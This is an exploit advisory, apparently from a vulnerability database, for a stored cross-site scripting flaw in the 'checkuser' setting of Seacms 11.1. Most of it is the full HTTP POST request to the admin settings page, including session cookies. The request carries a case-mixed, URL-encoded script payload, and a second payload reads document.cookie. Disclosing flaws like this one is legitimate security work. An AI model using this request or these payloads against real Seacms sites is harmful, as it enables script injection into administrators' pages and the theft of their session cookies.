Seacms 11.1 checkuser Stored XSS

2020.12.17
Credit: j5s
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Seacms 11.1 - 'checkuser' Stored XSS # Date: 20201212 # Exploit Author: j5s # Vendor Homepage: https://www.seacms.net/ # Software Link: https://www.seacms.net/ # Version: 11.1 POST /SEACMS111/5f9js3/admin_safe.php?action=setting HTTP/1.1 Host: 192.168.137.139 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 97 Origin: http://192.168.137.139 Connection: close Referer: http://192.168.137.139/SEACMS111/5f9js3/admin_safe.php?action=setting Cookie: more=1; Hm_lvt_22c4c422b3e7b17729ce8b5817d54592=1607175396; PHPSESSID=t1gc019b35rrgmr1dg53gfje96; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MDoiIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D Upgrade-Insecure-Requests: 1 checkuser=%22%3E%3CsCrIpT%3Ealert%281%29%3C%2FsCrIpT%3E&checkhta=on&btnsetting=%E6%8F%90%E4%BA%A4 Vulnerable parameters: checkuser payload:"><ScRiPt>alert(document.cookie)</ScRiPt>


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